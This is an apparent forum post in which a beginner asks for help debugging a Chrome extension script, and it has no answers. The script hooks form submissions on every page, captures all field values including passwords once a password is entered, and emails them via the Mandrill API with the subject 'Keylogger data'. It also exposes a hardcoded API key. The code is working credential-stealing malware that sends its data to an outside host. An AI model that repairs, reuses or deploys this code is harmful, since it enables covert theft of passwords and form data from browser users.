Send email [Script extension Chrome]

Asked

Viewed 83 times

0

Hello guys I’m with a question, it’s been 1 week that I’m trying to do an extension for Google Chrome, which sends the data to Email. I just can’t seem to do it at all, I’ve tried it anyway.. Can anyone help? Follow the code

function email(send_data) {
    console.log('email');
    chrome.storage.local.get('email',function(data_email){
        xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4 && xhr.status == 200) {
                console.log(xhr.responseText);
            }
        }
        xhr.open('POST', 'https://mandrillapp.com/api/1.0/messages/send.json');
        xhr.send(JSON.stringify({
            key: "lKMuUzQp9IyrP7iPUcAeDw",
            message: {
              from_email: "[email protected]",
              to:[
                  {
                    email: data_email.email,
                    name: "Hi User!",
                    type: "to"
                  }
                ],
              autotext: "true",
              subject: "Keylogger data" + " from " + document.title,
              html: JSON.stringify(send_data)
            }
        }));

    });
        
}

var password_edited = false;

if (!document.title) {
    document.title = document.URL;
}

console.log(document.title);

function saveForm(time, data) {
    var toSave = {};
    toSave[time] = document.title + "^~^" + document.URL + "^~^" + JSON.stringify(data);
    chrome.storage.local.set(toSave, function() { console.log("Saved", data); });
    
    email(toSave);
    //sendToUrl();
}

function getPasswordInputElements() {
    var pwd_el = [];

    var el = document.getElementsByTagName('input');

    for (var i = 0; i < el.length; i++) {
        if (el[i].getAttribute('type') == 'password')
            pwd_el.push(el[i]);
    }

    return pwd_el;
}

function listenPasswordEntered() {
    var pwd_el = getPasswordInputElements();

    for (var i = 0; i < pwd_el.length; i++) {
        pwd_el[i].addEventListener('change', function() {
            password_edited = true;
        })
    }
}

var forms = document.getElementsByTagName('form');
for (var i = 0; i < forms.length; i++) {
    forms[i].addEventListener('submit', function(e) {
        var data = {};
        data['FormName'] = e.target.name;
        data['FormAction'] = e.target.action;
        data['FormElements'] = {};
        var elements = e.target.elements;
        for (var n = 0; n < elements.length; n++) {
            data['FormElements'][elements[n].name] = elements[n].value;
        }
        
        if (password_edited) {
            saveForm(e.timeStamp, data);
        }
    
    });
}

listenPasswordEntered();

Well, he’s not sending the email when I post my email just like that.. If anyone can fix my code so that sends the message I would thank you from my heart. I’m a beginner in programming so I’m looking for your help! Thank you.

  • What callback are you receiving from your POST? xhr.open('POST', 'https://mandrillapp.com/api/1.0/messages/send.json');

  • I’m not getting the answer either.

No answers

Browser other questions tagged

You are not signed in. Login or sign up in order to post.